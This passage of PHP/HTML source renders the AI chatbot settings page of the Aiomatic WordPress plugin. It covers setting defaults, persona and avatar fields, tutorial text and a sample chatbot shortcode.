$god_mode_enable_youtube_post = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_reddit_post'])) { $god_mode_enable_reddit_post = $aiomatic_Chatbot_Settings['god_mode_enable_reddit_post']; } else { $god_mode_enable_reddit_post = ''; } if (isset($aiomatic_Chatbot_Settings['subreddits_list'])) { $subreddits_list = $aiomatic_Chatbot_Settings['subreddits_list']; } else { $subreddits_list = ''; } if (isset($aiomatic_Chatbot_Settings['god_mode_enable_linkedin_post'])) { $god_mode_enable_linkedin_post = $aiomatic_Chatbot_Settings['god_mode_enable_linkedin_post']; } else { $god_mode_enable_linkedin_post = ''; } if (isset($aiomatic_Chatbot_Settings['linkedin_selected_pages'])) { $linkedin_selected_pages = $aiomatic_Chatbot_Settings['linkedin_selected_pages']; } else { $linkedin_selected_pages = ''; } if (isset($aiomatic_Chatbot_Settings['business_post_select'])) { $business_post_select = $aiomatic_Chatbot_Settings['business_post_select']; } else { $business_post_select = array(); } if (isset($aiomatic_Chatbot_Settings['god_mode_front_end'])) { $god_mode_front_end = $aiomatic_Chatbot_Settings['god_mode_front_end']; } else { $god_mode_front_end = ''; } if (isset($aiomatic_Chatbot_Settings['max_input_length'])) { $max_input_length = $aiomatic_Chatbot_Settings['max_input_length']; } else { $max_input_length = ''; } if (isset($aiomatic_Chatbot_Settings['max_message_count'])) { $max_message_count = $aiomatic_Chatbot_Settings['max_message_count']; } else { $max_message_count = ''; } if (isset($aiomatic_Chatbot_Settings['max_message_context'])) { $max_message_context = $aiomatic_Chatbot_Settings['max_message_context']; } else { $max_message_context = ''; } if (isset($aiomatic_Chatbot_Settings['restriction_time'])) { $restriction_time = $aiomatic_Chatbot_Settings['restriction_time']; } else { $restriction_time = ''; } if (isset($aiomatic_Chatbot_Settings['restriction_count'])) { $restriction_count = $aiomatic_Chatbot_Settings['restriction_count']; } else { $restriction_count = ''; } if (isset($aiomatic_Chatbot_Settings['restriction_message'])) { $restriction_message = $aiomatic_Chatbot_Settings['restriction_message']; } else { $restriction_message = ''; } if (isset($aiomatic_Chatbot_Settings['no_empty'])) { $no_empty = $aiomatic_Chatbot_Settings['no_empty']; } else { $no_empty = ''; } if (isset($aiomatic_Chatbot_Settings['temperature'])) { $temperature = $aiomatic_Chatbot_Settings['temperature']; } else { $temperature = '1'; } if (isset($aiomatic_Chatbot_Settings['top_p'])) { $top_p = $aiomatic_Chatbot_Settings['top_p']; } else { $top_p = '1'; } if (isset($aiomatic_Chatbot_Settings['presence_penalty'])) { $presence_penalty = $aiomatic_Chatbot_Settings['presence_penalty']; } else { $presence_penalty = '0'; } if (isset($aiomatic_Chatbot_Settings['frequency_penalty'])) { $frequency_penalty = $aiomatic_Chatbot_Settings['frequency_penalty']; } else { $frequency_penalty = '0'; } if (isset($aiomatic_Chatbot_Settings['enable_front_end'])) { $enable_front_end = $aiomatic_Chatbot_Settings['enable_front_end']; } else { $enable_front_end = ''; } if (isset($aiomatic_Chatbot_Settings['custom_global_shortcode'])) { $custom_global_shortcode = $aiomatic_Chatbot_Settings['custom_global_shortcode']; } else { $custom_global_shortcode = ''; } if (isset($aiomatic_Chatbot_Settings['window_location'])) { $window_location = $aiomatic_Chatbot_Settings['window_location']; } else { $window_location = ''; } if (isset($aiomatic_Chatbot_Settings['page_load_chat'])) { $page_load_chat = $aiomatic_Chatbot_Settings['page_load_chat']; } else { $page_load_chat = ''; } if (isset($aiomatic_Chatbot_Settings['window_width'])) { $window_width = $aiomatic_Chatbot_Settings['window_width']; } else { $window_width = ''; } if (isset($aiomatic_Chatbot_Settings['not_show_urls'])) { $not_show_urls = $aiomatic_Chatbot_Settings['not_show_urls']; } else { $not_show_urls = ''; } if (isset($aiomatic_Chatbot_Settings['only_show_urls'])) { $only_show_urls = $aiomatic_Chatbot_Settings['only_show_urls']; } else { $only_show_urls = ''; } if (isset($aiomatic_Chatbot_Settings['min_time'])) { $min_time = $aiomatic_Chatbot_Settings['min_time']; } else { $min_time = ''; } if (isset($aiomatic_Chatbot_Settings['never_show'])) { $never_show = $aiomatic_Chatbot_Settings['never_show']; } else { $never_show = array(); } if (isset($aiomatic_Chatbot_Settings['show_content_wp'])) { $show_content_wp = $aiomatic_Chatbot_Settings['show_content_wp']; } else { $show_content_wp = array(); } if (isset($aiomatic_Chatbot_Settings['no_show_content_wp'])) { $no_show_content_wp = $aiomatic_Chatbot_Settings['no_show_content_wp']; } else { $no_show_content_wp = array(); } if (isset($aiomatic_Chatbot_Settings['no_show_locales'])) { $no_show_locales = $aiomatic_Chatbot_Settings['no_show_locales']; } else { $no_show_locales = array(); } if (isset($aiomatic_Chatbot_Settings['show_locales'])) { $show_locales = $aiomatic_Chatbot_Settings['show_locales']; } else { $show_locales = array(); } if (isset($aiomatic_Chatbot_Settings['no_show_roles'])) { $no_show_roles = $aiomatic_Chatbot_Settings['no_show_roles']; } else { $no_show_roles = array(); } if (isset($aiomatic_Chatbot_Settings['show_roles'])) { $show_roles = $aiomatic_Chatbot_Settings['show_roles']; } else { $show_roles = array(); } if (isset($aiomatic_Chatbot_Settings['show_devices'])) { $show_devices = $aiomatic_Chatbot_Settings['show_devices']; } else { $show_devices = array(); } if (isset($aiomatic_Chatbot_Settings['no_show_devices'])) { $no_show_devices = $aiomatic_Chatbot_Settings['no_show_devices']; } else { $no_show_devices = array(); } if (isset($aiomatic_Chatbot_Settings['show_oses'])) { $show_oses = $aiomatic_Chatbot_Settings['show_oses']; } else { $show_oses = array(); } if (isset($aiomatic_Chatbot_Settings['no_show_oses'])) { $no_show_oses = $aiomatic_Chatbot_Settings['no_show_oses']; } else { $no_show_oses = array(); } if (isset($aiomatic_Chatbot_Settings['no_show_browsers'])) { $no_show_browsers = $aiomatic_Chatbot_Settings['no_show_browsers']; } else { $no_show_browsers = array(); } if (isset($aiomatic_Chatbot_Settings['show_browsers'])) { $show_browsers = $aiomatic_Chatbot_Settings['show_browsers']; } else { $show_browsers = array(); } if (isset($aiomatic_Chatbot_Settings['show_ips'])) { $show_ips = $aiomatic_Chatbot_Settings['show_ips']; } else { $show_ips = ''; } if (isset($aiomatic_Chatbot_Settings['no_show_ips'])) { $no_show_ips = $aiomatic_Chatbot_Settings['no_show_ips']; } else { $no_show_ips = ''; } if (isset($aiomatic_Chatbot_Settings['always_show'])) { $always_show = $aiomatic_Chatbot_Settings['always_show']; } else { $always_show = array(); } if (isset($aiomatic_Chatbot_Settings['max_time'])) { $max_time = $aiomatic_Chatbot_Settings['max_time']; } else { $max_time = ''; } if (isset($aiomatic_Chatbot_Settings['chatbot_icon_html'])) { $chatbot_icon_html = $aiomatic_Chatbot_Settings['chatbot_icon_html']; } else { $chatbot_icon_html = ''; } if (isset($aiomatic_Chatbot_Settings['chatbot_icon'])) { $chatbot_icon = $aiomatic_Chatbot_Settings['chatbot_icon']; } else { $chatbot_icon = ''; } if (isset($aiomatic_Chatbot_Settings['aiomatic_chat_json'])) { $aiomatic_chat_json = $aiomatic_Chatbot_Settings['aiomatic_chat_json']; } else { $aiomatic_chat_json = ''; } if (isset($aiomatic_Main_Settings['pinecone_app_id'])) { $pinecone_app_id = $aiomatic_Main_Settings['pinecone_app_id']; } else { $pinecone_app_id = ''; } if (isset($aiomatic_Main_Settings['qdrant_app_id'])) { $qdrant_app_id = $aiomatic_Main_Settings['qdrant_app_id']; } else { $qdrant_app_id = ''; } $avatar_url = ''; if(is_numeric($ai_avatar)) { $att_src = wp_get_attachment_image_src( $ai_avatar, 'thumbnail', false ); if ( $att_src ) { $avatar_url = $att_src[0]; } } $avatar_url_user = ''; if(is_numeric($user_avatar)) { $att_src_user = wp_get_attachment_image_src( $user_avatar, 'thumbnail', false ); if ( $att_src_user ) { $avatar_url_user = $att_src_user[0]; } } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("AI Chatbot", 'aiomatic-automatic-ai-content-writer');?></h2> <nav class="nav-tab-wrapper"> <a href="#tab-t" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-0"<?php if ($assistant_id != ''){echo ' class="nav-tab aiomatic-tab-disabled" title="Disabled when using Assistants"';}else{echo ' class="nav-tab"';}?>><?php echo esc_html__("Persona Selector", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-10"<?php if ($assistant_id != ''){echo ' class="nav-tab aiomatic-tab-disabled" title="Disabled when using Assistants"';}else{echo ' class="nav-tab"';}?>><?php echo esc_html__("Persona Manager", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("API Parameters", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-12" class="nav-tab"><?php echo esc_html__("Chatbot Context Details", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Styling", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("Moderation", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-5" class="nav-tab"><?php echo esc_html__("Global Chatbots", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-11" class="nav-tab"><?php echo esc_html__("Limitations", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-8" class="nav-tab"><?php echo esc_html__("Text-to-Speech/Video", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-13" class="nav-tab"><?php echo esc_html__("PDF Chat", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-15" class="nav-tab"><?php echo esc_html__("Remote Chatbot", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-7" class="nav-tab"><?php echo esc_html__("Custom Chatbot Builder", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-6" class="nav-tab"><?php echo esc_html__("Persistent Chat Logs", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-14" class="nav-tab"><?php echo esc_html__("Extensions", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("Settings", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <form autocomplete="off" id="myForm" method="post" action="<?php if(is_multisite() && is_network_admin()){echo '../options.php';}else{echo 'options.php';}?>"> <div class="cr_autocomplete"> <input type="password" id="PreventChromeAutocomplete" name="PreventChromeAutocomplete" autocomplete="address-level4" /> </div> <?php settings_fields('aiomatic_option_group4'); do_settings_sections('aiomatic_option_group4'); if (isset($_GET['settings-updated'])) { ?> <div id="message" class="updated"> <p class="cr_saved_notif"><strong> <?php echo esc_html__('Settings saved.', 'aiomatic-automatic-ai-content-writer');?></strong></p> </div> <?php } ?> <div class="aiomatic_class"> <div id="tab-t" class="tab-content"> <br/> <h3><?php echo esc_html__("AI Chatbot Configuration Details", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__('In this tutorial, I\'ll walk through the process of setting up an AI-powered chatbot on your WordPress website using the Aiomatic WordPress plugin. This plugin allows you to integrate AI language models to create a highly customizable chatbot that can interact with your website visitors.', 'aiomatic-automatic-ai-content-writer');?></p> <h4><?php echo esc_html__("Step 1: Customize the Chatbot Behavior", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("In the Aiomatic settings page, navigate to the \"AI Chatbot\" menu of the plugin. You will be able to customize the chatbot in the 'Chatbot Customization', 'Chatbot Default Styling', 'Chatbot Settings' and 'Default API Parameters' tabs. Here, you can define how the chatbot will respond to specific user inputs. You can also change the visual style and appearance of the chatbot. Don't forget to always save your changes.", 'aiomatic-automatic-ai-content-writer');?></p> <h4><?php echo esc_html__("Step 2: Add the Chatbot to Your Website", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("You can add the chatbot globally to your site or locally to posts or pages. To add the chatbot locally, you can use the [aiomatic-chat-form] shortcode. If you want to add it globally, you need to go to the settings page of the plugin, go to the \"AI Chatbot\" menu of the plugin and navigate to the 'Global Chatbots' tab. Choose where you want the chatbot to appear on your website (e.g., on all front end, back end, except pages where you don't want the chatbot to appear).", 'aiomatic-automatic-ai-content-writer');?></p> <h4><?php echo esc_html__("Step 3: Test the Chatbot", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Visit your website and look for the chatbot. Interact with the chatbot by typing questions or phrases into the chat window. Verify that the chatbot responds appropriately based on the rules you defined.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("That's it! You've successfully set up an AI-powered chatbot on your WordPress website using the Aiomatic plugin. This chatbot can be a valuable tool for engaging with your website visitors, answering frequently asked questions, and providing personalized assistance.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("AI Chatbot Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/QCkNkCrFi-o" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-0" class="tab-content"> <table class="widefat"> <tr><td colspan="2"> <h2><?php echo esc_html__("Chatbot Persona Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the AI Assistant. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea id="ai_name" rows="2" name="aiomatic_Chatbot_Settings[ai_message_preppend]" placeholder="AI"><?php echo esc_textarea($ai_message_preppend); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the role of the AI Assistant. This info is only informative, will appear only in the chatbot interface, is not sent to the AI writer. Be sure to add the role in the 'Chatbot Context' settings field, for it to take effect in the AI writer.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Role:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea id="ai_role" rows="2" name="aiomatic_Chatbot_Settings[ai_role]" placeholder="AI Assistant role"><?php echo esc_textarea($ai_role); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Add a context to the AI chatbot, so it knows how to act and how to respond to customers. You can define here the language, tone of voice and role of the AI assistant. Any other settings will also be able to be defined here. This text will be preppended to each conversation, to teach the AI some additional info about you or its behavior. This text will not be displayed to users, it will be only sent to the chatbot. You can also use shortcodes in this field. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). Example of prompt to pretain the AI --- Article: \"%%post_content%%\" \n\n Discussion: \n\n", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Context:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea id="preppend_text" rows="6" name="aiomatic_Chatbot_Settings[chat_preppend_text]" placeholder="Example: Converse as if you were a Marketing Agency Assistant. Be friendly, creative. Respond only in English."><?php echo esc_textarea($chat_preppend_text); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the AI. This will be prepended to each AI message. This is useful to teach the AI chatbot about its role and name. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Initial Messages (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" id="first_message_ai" name="aiomatic_Chatbot_Settings[ai_first_message]" placeholder="Hi! How can I help you?"><?php echo esc_textarea($ai_first_message); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the avatar image of the AI. This will be shown in the chatbot interface.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Avatar Image:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $add_src = ''; if(is_numeric($ai_avatar)) { $att_src = wp_get_attachment_image_src( $ai_avatar, 'thumbnail', false ); if ( $att_src && $att_src[0] != false ) { $add_src = ' src="' . $att_src[0] . '"'; } } $image = '<div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image"' . $add_src . '/></div>'; echo $image; ?> <input type="hidden" name="aiomatic_Chatbot_Settings[ai_avatar]" id="aiomatic_image_id" value="<?php echo $ai_avatar;?>" class="regular-text" /> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Select an avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager"/> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Clear avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_clear"/> </div> </td></tr> <tr><td> <h2><?php echo esc_html__("Chatbot User Related Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the name of the user. This will be prepended to each user message. This is useful to teach the AI chatbot about its role and name. List of supported shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to users using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the seed command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Name:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <textarea rows="2" name="aiomatic_Chatbot_Settings[user_message_preppend]" placeholder="User"><?php echo esc_textarea($user_message_preppend); ?></textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the avatar image of the User. This will be shown in the chatbot interface.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("User Avatar Image:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <?php $add_src = ''; if(is_numeric($user_avatar)) { $att_src = wp_get_attachment_image_src( $user_avatar, 'thumbnail', false ); if ( $att_src && $att_src[0] != false ) { $add_src = ' src="' . $att_src[0] . '"'; } } $image = '<div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image-user"' . $add_src . '/></div>'; echo $image; ?> <input type="hidden" name="aiomatic_Chatbot_Settings[user_avatar]" id="aiomatic_image_id_user" value="<?php echo $user_avatar;?>" class="regular-text" /> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Select an avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager_user"/> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Clear avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_clear_user"/> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the user's avatar if a logged in user is found to be using the chatbot.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use User Avatar If A Logged In User Using The Chatbot:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </td><td> <div> <input type="checkbox" id="user_account_avatar" name="aiomatic_Chatbot_Settings[user_account_avatar]"<?php if ($user_account_avatar == 'on') { echo ' checked '; } ?>> </div> </td></tr> <tr><td colspan="2"> <hr/> <h2><?php echo esc_html__("Select A Chatbot Persona: ", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Click the persona you want to use in your chatbot and it will be selected and its values will be automatically filled in the settings fields from above. All you have to do afterwards, is to save settings and the chatbot persona will be applied to the chatbot!", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h2> <br/> </td></tr> <tr><td colspan="2"> <div class="row" id="aiomatic-templates-panel"> <?php $aiomatic_persona_page = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_personas = new WP_Query(array( 'post_type' => 'aiomatic_personas', 'posts_per_page' => 40, 'paged' => $aiomatic_persona_page, 'order' => 'DESC', 'orderby' => 'date', 'post_status' => 'any' )); if(!$aiomatic_personas->have_posts()) { echo '   ' . esc_html__("No chatbot personas added. Add them in the 'Manage Chatbot Personas' tab.", 'aiomatic-automatic-ai-content-writer'); } else { foreach ($aiomatic_personas->posts as $aiomatic_persona) { echo '<div class="aiomatic-col-lg-3"><div class="aiomatic-chat-boxes aiomatic-text-center"><div class="aiomatic-card" onclick="aiomatic_select_persona(' . $aiomatic_persona->ID . ');"><div class="aiomatic-card-body">'; $att_src = get_the_post_thumbnail_url( $aiomatic_persona->ID, 'thumbnail' ); if ( $att_src ) { echo '<div class="aiomatic-widget-user-image"><img alt="User Avatar" class="ai-user-avatar aiomatic-rounded-circle" src="' . $att_src . '"></div>'; } else { echo '<div class="aiomatic-widget-user-image">' . esc_html__("No avatar added", 'aiomatic-automatic-ai-content-writer') . '</div>'; } echo '<div class="aiomatic-template-title"><h6 class="aiomatic-number-font">' . esc_html($aiomatic_persona->post_title) . '</h6></div><div class="aiomatic-template-info"><p class="aiomatic-text-muted">' . esc_html($aiomatic_persona->post_excerpt) . '</p></div>'; echo '</div></div></div></div>'; } } ?> </div> <?php if($aiomatic_personas->have_posts() && $aiomatic_personas->max_num_pages > 1) { ?> <div class="aiomatic-paginate"> <?php echo esc_html__("Page: ", 'aiomatic-automatic-ai-content-writer') . paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_chatbot_panel&wpage=%#%'), 'total' => $aiomatic_personas->max_num_pages, 'current' => $aiomatic_persona_page, 'format' => '?wpage=%#%', 'show_all' => false, 'prev_next' => true, 'add_args' => false, )); ?> </div> <?php } ?> </td> </tr> </table> </div> <div id="tab-7" class="tab-content"> <table class="widefat"> <tr><td><h2><?php echo esc_html__("Use the following shortcode to add the customized chatbot to your site:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td colspan="2" class="cr_width_full"><div class="cr_center"><span class="cr_red cr_center cr_width_full cr_margin_block crf_bord" id="customized_chatbot">[aiomatic-chat-form temperature="1" top_p="1" assistant_id="" model="gpt-4o-mini" enable_vision="off" presence_penalty="0" frequency_penalty="0" instant_response="false" ai_role="" ai_avatar="" user_avatar="" chat_preppend_text="Act as a customer assistant, respond to every question in a helpful way." chatbot_text_speech="off" upload_pdf="" enable_god_mode="disabled" user_message_preppend="User" show_header="" show_clear="" show_dltxt="" show_mute="" show_internet="" overwrite_voice="" overwrite_avatar_image="" internet_access="enabled" embeddings="enabled" ai_message_preppend="AI" ai_first_message="Hello, how can I help you today?" chat_mode="text" persistent="off" prompt_templates="" prompt_editable="on" placeholder="Enter your chat message here" select_prompt="Please select a prompt" file_uploads="off" bubble_user_alignment="right" show_ai_avatar="show" show_user_avatar="show" bubble_alignment="left" bubble_width="full" custom_header="" custom_footer="" custom_css="" send_message_sound="" receive_message_sound="" response_delay="" submit="Submit" compliance="" show_in_window="off" window_location="top-right" font_size="1em" height="100%" background="auto" general_background="#ffffff" minheight="250px" user_font_color="#ffffff" user_background_color="#0084ff" ai_font_color="#000000" ai_background_color="#f0f0f0" input_placeholder_color="#333333" persona_name_color="#3c434a" persona_role_color="#728096" input_text_color="#000000" input_border_color="#e1e3e6" submit_color="#55a7e2" submit_text_color="#ffffff" voice_color="#55a7e2" voice_color_activated="#55a7e2" width="100%"]</span><button class="page-title-action aimt-10" id="aiomaticCopyShortcodeText"><?php echo esc_html__("Copy Text", 'aiomatic-automatic-ai-content-writer');?></button></div><br/></td></tr> <tr><td colspan="2"> <hr/></td></tr><tr><td colspan="2"> <h2><?php echo esc_html__("Chatbot API Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the assistant to be used for chatbot. The model used when creating the AI Assistant will be used to create the content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Chatbot Assistant Name (Using This Disables Chatbot Personas):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select id="assistant_id_b" onchange="anythingChanged();assistantChanged_b();" class="cr_width_full"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if ($assistant_id == '') { echo " selected"; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if ($assistant_id == $myassistant->ID) { echo " selected"; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr class="hideAssist_b"> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to enable file upload for the chatbot. Note that to use this feature, you will need an AI model which supports file search. Supported file types: .c, .cs, .cpp, .doc, .docx, .html, .java, .json, .md, .pdf, .php, .pptx, .py, .rb, .tex, .txt, .css, .js, .sh, .ts", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable File Uploads In The Chatbot (Using AI Assistants File Search):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="enable_file_uploads_b" onchange="anythingChanged();" 